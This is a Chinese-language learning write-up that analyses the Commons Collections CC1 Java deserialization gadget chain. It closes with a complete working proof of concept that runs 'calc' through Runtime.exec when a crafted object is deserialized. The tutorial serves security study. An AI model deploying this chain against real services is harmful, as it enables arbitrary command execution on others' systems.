目录
2)pom.xml添加commons-collections 3.2.1
总览:以下三个类在后续会接触和使用到(ChainedTransformer和ConstantTransformer在编辑poc时需要用到)
2. ChainedTransformer.transform()--这个也是编写poc的第一步-可先理解
3. ConstantTransformer.transform()
第一部分 链的执行点--InvokerTransformer#transform
小结:通过第一部分清楚了链的执行点--了解了InvokerTransformer动态调用方法,接着找到了第二部分
第二部分 TransformedMap#checkSetValue方法
2.2checkSetValue(Object value)的value值我们能否控制
1. 核心问题:Runtime 对象无法直接序列化--InvokerTransformer反射调用
使用 InvokerTransformer 动态调用 Runtime.getRuntime()
2.绕过类型检查--ConstantTransformer 返回一个固定的值
4.反射构造 AnnotationInvocationHandler
java反序列化系列--cc链1,仅小白自学梳理,适合没有什么java基础学习理解,有待改进或错误大佬请指
一.配置环境
1)创建一个mevan项目,JDK选择8u65
2)pom.xml添加commons-collections 3.2.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3)准备JDK源码,方便调试
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
点zip下载
下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes
)放入JDK 8u66的src目录下。
回到idea,点击项目结构
点击sdk,注意jdk路径选择下载好的jdk8u65的路径,点击+添加刚刚的sun包
右键pom.xml,选择maven,选择下载代码,
外部库出现这个就是成功了,如果没有的话,可能是maven卡了,或者maven配置有问题,下载代码太慢的话可以配置阿里云镜像,下载就很快了
修改maven配置文件
在conf>setting.xml
注意这里要修改为自己的本地仓库路径,修改完可以直接使用
<!-- 自定义本地仓库路径(取消注释并修改为你的实际路径) -->
<localRepository>E:\001Windows Application\apache-maven-3.6.1-bin\apache-maven-3.6.1\mvn-repo</localRepository>
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<!-- 自定义本地仓库路径(取消注释并修改为你的实际路径) -->
<localRepository>E:\001Windows Application\apache-maven-3.6.1-bin\apache-maven-3.6.1\mvn-repo</localRepository>
<!-- 插件组(默认无需修改) -->
<pluginGroups>
</pluginGroups>
<!-- 代理配置(如果需要代理访问网络,取消注释并填写) -->
<proxies>
<!--
<proxy>
<id>optional</id>
<active>true</active>
<protocol>http</protocol>
<username>proxyuser</username>
<password>proxypass</password>
<host>proxy.host.net</host>
<port>80</port>
<nonProxyHosts>local.net|some.host.com</nonProxyHosts>
</proxy>
-->
</proxies>
<!-- 服务器认证(如部署到私有仓库需配置) -->
<servers>
<!--
<server>
<id>deploymentRepo</id>
<username>repouser</username>
<password>repopwd</password>
</server>
-->
</servers>
<!-- 镜像配置(修复:启用阿里云镜像加速) -->
<mirrors>
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>https://maven.aliyun.com/repository/central</url>
</mirror>
</mirrors>
<!-- 配置文件(默认无需修改) -->
<profiles>
<!-- 示例:JDK 1.8 的 Profile
<profile>
<id>jdk-1.8</id>
<activation>
<jdk>1.8</jdk>
</activation>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
</profile>
-->
</profiles>
<!-- 默认激活的 Profile(按需取消注释) -->
<!--
<activeProfiles>
<activeProfile>jdk-1.8</activeProfile>
</activeProfiles>
-->
</settings>
点击文件,点击设置,用户设置文件和本地仓库点击重写,选择你更新过的设置文件和自己的本地仓库
二.前置知识
总览:以下三个类在后续会接触和使用到(ChainedTransformer
和ConstantTransformer
在编辑poc时需要用到)
类名 | 功能 | 关键点 |
| 反射调用目标对象的方法 | 需要指定方法名、参数类型和参数值 |
| 链接多个 ,依次执行 | 前一个 的返回值作为下一个的输入 |
| 返回固定值 | 不依赖输入参数,总是返回实例化时传入的 |
详解
1.InvokerTransformer类
通过反射机制实现了动态方法调用功能
(后面因为Runtime.getRuntime(),它是不能直接序列化的,所以要通过InvokerTransformer的反射调用它,)
构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; // 要调用的方法名
this.iParamTypes = paramTypes; // 方法参数类型数组
this.iArgs = args; // 方法参数值数组
}
transform() 方法实现
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
throw new FunctorException("InvokerTransformer: Failed to invoke method", ex);
}
}
正常写法(直接调用):
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
// 直接调用exec方法打开计算器
反射写法(等价于上面的代码):
// 1. 获取Runtime实例
Runtime runtime = Runtime.getRuntime();
// 2. 通过反射获取exec方法
Method execMethod = runtime.getClass()
.getMethod("exec", String.class);
// 3. 反射调用exec方法
execMethod.invoke(runtime, "calc.exe");
用InvokerTransformer的写法:
// 创建一个"方法调用器"(告诉它:用String参数调用exec方法)
InvokerTransformer invoker = new InvokerTransformer(
"exec", // 方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"calc.exe"} // 参数值
);
Runtime runtime = Runtime.getRuntime();
// 对runtime对象应用这个转换器
invoker.transform(Runtime.getRuntime());
2. ChainedTransformer.transform()
--这个也是编写poc的第一步-可先理解
功能
- 将多个
Transformer
链接起来,依次执行它们的transform()
方法。 - 前一个
Transformer
的返回值会作为下一个Transformer
的输入参数。
示例代码
Transformer[] transformers = {
new ConstantTransformer(Runtime.class), // 第一步:获取 Runtime 类
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 第二步:获取 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 第三步:调用 getRuntime 方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) // 第四步:执行 calc 命令
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Object result = chainedTransformer.transform(null); // 依次执行所有 Transformer
关键点
ChainedTransformer
的transform()
方法会依次执行链中的所有Transformer
。- 每个
Transformer
的返回值会作为下一个Transformer
的输入参数。 - 最终返回最后一个
Transformer
的结果。
3. ConstantTransformer.transform()
功能
- 返回一个固定的值,该值在实例化时指定。
实现原理
- 在实例化时,传入一个对象(
iConstant
)。 - 在调用
transform()
方法时,无论传入什么参数,都会返回这个固定的值。
示例代码
java
Object constantValue = "Hello, World!";
ConstantTransformer constantTransformer = new ConstantTransformer(constantValue);
Object result = constantTransformer.transform(null); // 返回 "Hello, World!"
关键点
ConstantTransformer
的transform()
方法总是返回实例化时传入的固定值。- 它不依赖于输入参数。
三.分析链
第一部分 链的执行点--InvokerTransformer#transform
1.找到执行点
--InvokerTransformer#transform开始跟
可以发现transform
方法,接收一个Object参数,然后对该Object通过反射获取其类对象
,然后获取其方法对象
,之后invoke
调用该方法。涉及的核心代码:
可反射调用传递进来的对象的某个方法来执行
这里面涉及到几个参数
this.iMethodName
:反射使用的方法名(方法名)this.iParamTypes
:反射使用的方法的参数类型列表(参数类型)this.iArgs
:被调用方法的参数列表(参数值)
这几个参数都是this.开头的,所以是由该类InvokerTransformer
的构造函数赋予其值的。
2.利用代码
有了这些可以写一下利用代码:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class testc1 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // Windows 计算器命令
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
}
}
成功执行命令,但是这样还不行,因为最终需要找到readObject()
方法处,也就是反序列时执行readObject()
方法,进而自动执行transform()
方法才行。
3.接着寻找
接下来需要找一下哪个位置有调用transform()
方法
【查找用法,如果显示没有实现,记得看下查找用法范围,可以选择所有位置,就可以找到了】
要找不同命名调用的transform,找到checkSetValue(Object)中调用了transform
小结:通过第一部分清楚了链的执行点--了解了InvokerTransformer动态调用方法,接着找到了第二部分
第二部分 TransformedMap#checkSetValue方法
2.1valueTransformer是否可控制
它执行后返回valueTransformer.transform,那么我们要看的就是Transformer的值我们能否控制
寻找跟进路线
1.checkSetValue
方法是protected修饰的,无法直接调用
接着找
2.ctrl+左键找到valueTransformer赋值的地方,也是protected
接着找
3.在TransformedMap中可以设置Transformer的值,这里也是使用protected,接着找对TransformedMap怎么实例化的
4.TransformedMap有一个decorate静态构造方法,调用了TransformedMap
decorate()三个参数分析
它这里三个参数,map、keyTransformer、valueTransformer,我们要控制的是valueTransformer
1.keyTransformer
可以设置为null
- 作用:对
Map
的 键(Key) 进行转换的Transformer
对象。 - 允许为
null
:如果为null
,表示不对键进行任何转换。
map跟下去不能为空
3.valueTransformer
- 作用:对
Map
的 值(Value) 进行转换的Transformer
对象。 - 安全风险:如果传入恶意
Transformer
(如InvokerTransformer
)就可以达到目的
梳理小结
这里总结一下,我们上面通过第一部分发现了InvokerTransformer可以反射调用,但我们希望找到反序列时执行readObject()
方法,进而自动执行transform()
方法
所以我们接着往下找,找到第二部分TransformedMap#checkSetValue方法中有return valueTransformer.transform(value),我们想要看能不能控制valueTransformer,于是接着跟进
找到TransformedMap有一个decorate静态构造方法其中有三个参数,可以控制,最后一个参数就是valueTransformer
那我们就可以构造把构造好的invokerTransformer赋值给valueTransformer那么checkSetValue的return valueTransformer.transform(value)就等同于return InvokerTransformer.transform(value)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> Map = new HashMap<>();//创建一个操作的Map
TransformedMap.decorate(Map,null,invokerTransformer);
2.2checkSetValue(Object value)的value值我们能否控制
因为checkSetValue
是 protected
方法,不能直接调用,需通过其他方法间接触发。
所以接着找
这里只有一处调用org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry
#setValue
那么可以通过setValue(值)-->checkSetValue(值)-->transform(值)
寻找setValue调用
优先看有没有哪个类的readObject()调用
这里发现有一个sun.reflect.annotation.AnnotationInvocationHandler#readObject
这里是入口点
这里我们要触发memberValue.setValue,我们看memberValue是从哪来的
ctrl+左键找到membervalue从哪里来
可以通过它的构造方法传入,然后它的参数是一个注解,一个map,一个Object
至此整条链就已经完整了
反向分析完了,现在就正向链接
完整CC1链的触发流程
反序列化 → AnnotationInvocationHandler.readObject()
→ TransformedMap.setValue()
→ ChainedTransformer.transform()
→ Runtime.exec()
1.cc链入口点
AnnotationInvocationHandler.readObject()
是 CC1链的入口点
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 1. 默认反序列化操作:恢复对象的非静态/瞬态字段(包括memberValues)
s.defaultReadObject();
// 2. 检查注解类型有效性
AnnotationType annotationType = null;
try {
// 获取注解类型的元信息(例如@Target注解的成员方法)
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// 攻击者可能伪造非注解类型,此处会阻断攻击
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
// 3. 获取注解成员方法的返回类型(例如@Target的value()方法返回ElementType[])
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// 4. 遍历memberValues(攻击者可控的Map)
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 获取Map的key(注解成员名,如"value")
Class<?> memberType = memberTypes.get(name); // 获取注解成员的类型
// 5. 仅处理注解中真实存在的成员
if (memberType != null) {
Object value = memberValue.getValue(); // 获取Map中的value(攻击者可能注入恶意对象)
// 6. 检查值类型是否匹配注解成员类型
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
// 类型不匹配时,触发关键漏洞点:
// 如果memberValue是TransformedMap.Entry,setValue()会调用checkSetValue()
// 进而执行攻击者预设的Transformer链(如Runtime.exec())
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]")
.setMember(annotationType.members().get(name))
);
}
}
}
}
解决问题构造poc--根据这个入口点需要清楚并解决几个问题
老规矩我喜欢先放全貌再详解,先放完整poc(非本人亲写,别的大佬的,我只进行了注解)
poc
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class SerializationExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 定义一系列的 Transformer,用于链式调用
Transformer[] transformer = new Transformer[]{
// 第一步:获取 Runtime 类
new ConstantTransformer(Runtime.class),
// 第二步:调用 Runtime 类的 getMethod 方法,获取 getRuntime 方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第三步:调用 getRuntime 方法,获取 Runtime 实例
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第四步:调用 Runtime 实例的 exec 方法,执行 calc 命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 将上述 Transformer 链接起来
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
// 创建一个 HashMap,并用 TransformedMap 装饰它,将 Transformer 应用于 Map 的值
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value", "aaa");
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
// 使用反射创建一个 AnnotationInvocationHandler 实例
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true); // 破坏访问限制
Object o = declaredConstructor.newInstance(Target.class, decorate); // 创建实例
// 序列化对象
serialize(o);
// 反序列化对象,触发漏洞
unserialize("ser.bin");
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object o = objectInputStream.readObject();
return o;
}
// 空的注解类,用于反射创建 AnnotationInvocationHandler
@interface Target {
}
}
成功实现
总览
- 使用
InvokerTransformer
动态调用Runtime.getRuntime()
(不能直接序列化) - 使用
ChainedTransformer
构造Transformer
链,用于在反序列化时执行恶意代码。 - 使用
TransformedMap.decorate()
构造装饰后的Map
,以便在反序列化时触发Transformer
链。 - 使用反射构造
AnnotationInvocationHandler
,绕过私有构造方法的限制。 - 实现序列化和反序列化,触发漏洞。
5。
问题详解:
1. 核心问题:Runtime
对象无法直接序列化--InvokerTransformer反射调用
Runtime
类没有实现Serializable
接口,无法直接通过反序列化恢复Runtime.getRuntime()
。- 但我们攻击仍然希望 在反序列化时执行
Runtime.getRuntime().exec("calc.exe")
,因此需要一种间接调用的方式。
2. 解决方案:利用InvokerTransformer反射动态调用 Runtime.getRuntime()
既然 Runtime
对象本身无法序列化,但 Class
对象(如 Runtime.class
)和反射方法(getMethod
、invoke
)是可以序列化的,因此可以:
- 序列化
Runtime.class
(Class
对象可序列化)。 - 序列化
getRuntime
方法的调用链(通过InvokerTransformer
)。 - 在反序列化时重新触发
getRuntime()
并执行exec
。
使用 InvokerTransformer
动态调用 Runtime.getRuntime()
2.绕过类型检查--ConstantTransformer
返回一个固定的值
- 问题:在
AnnotationInvocationHandler.readObject()
中,会检查memberValues
中的值是否符合注解成员的类型。如果类型不匹配,会抛出AnnotationTypeMismatchExceptionProxy
。 - 解决方案:
-
- 使用
ConstantTransformer
返回一个固定的值,绕过类型检查。
- 使用
3.Transformer
链的构造
- 问题:我们需要构造一个
Transformer
链,使它在setValue
方法中被调用时能够执行恶意代码 - 解决方案:
-
- 使用
ChainedTransformer(前置知识有)
将多个Transformer
链接起来。 - 每个
Transformer
的返回值会作为下一个Transformer
的输入参数。 -
- 使用
3. memberValues
的构造
入口点源代码
- 问题:
memberValues
是一个Map
,它的键是注解成员的名称,值是对应的值。我们需要构造这个Map
,并确保它能够触发漏洞。 - 解决方案:
-
- 使用
TransformedMap.decorate()
方法来装饰Map
,使其在setValue
方法中调用我们预设的Transformer
链。 - 第二部分三个参数那里我们分析过参数值
- 使用
4.反射构造 AnnotationInvocationHandler
- 问题:
AnnotationInvocationHandler
的构造方法是私有的,需要通过反射来调用。 - 解决方案:
-
- 使用反射获取
AnnotationInvocationHandler
的构造方法,并设置其可访问性为true
。
- 使用反射获取
5. 序列化和反序列化
- 问题:我们需要将构造好的
AnnotationInvocationHandler
对象序列化到文件中,然后反序列化以触发漏洞。 - 解决方案:
-
- 使用
ObjectOutputStream
将对象序列化到文件。 - 使用
ObjectInputStream
从文件中反序列化对象。
- 使用
详细可以看第一篇反序列化入门--
综上cc链1分析结束
自我一段话总结:
cc链1
核心问题:InvokerTransformer
反射调用是执行点,因为Runtime
没有实现Serializable
接口,不能直接反序列化Runtime.getRuntime()
。虽然Runtime
不能序列化,但Runtime.class
和getRuntime
方法的调用链可以序列化。通过反射调用Runtime.class.getMethod("getRuntime")
→ invoke()
→ exec()
,将不可序列化的Runtime
对象转换为可序列化的反射调用链,就解决了这个核心问题。
反向分析过程:
-
从
transform
切入,发现ValueTransformer.transform()
也被调用,它是由TransformedMap.checkSetValue()
控制的。 -
接着找
ValueTransformer
能否控制,追溯到TransformedMap.decorate()
可以设置ValueTransformer
的值,同时分析其他参数的取值。 -
因为
TransformedMap.checkSetValue()
是私有的,继续查找哪里调用了它,追溯到setValue()
方法。 -
最后寻找哪个类调用了
setValue()
和readObject()
,找到了入口点AnnotationInvocationHandler
。至此,反向分析完成整个利用链的构造。
正向流程:
当反序列化AnnotationInvocationHandler
时,其readObject()
方法会遍历内部封装的Map
的所有键值对,并调用TransformedMap.setValue()
方法。这个操作会触发checkSetValue()
检查,进而执行注册的ValueTransformer.transform()
。此时,ValueTransformer
被设置为恶意的ChainedTransformer
,就会依次执行预设的反射调用链:
-
通过
Runtime.class
获取getRuntime()
方法; -
反射调用获取
Runtime
实例; -
最终执行
Runtime.getRuntime().exec("calc.exe")
命令,实现反序列化时的任意命令执行。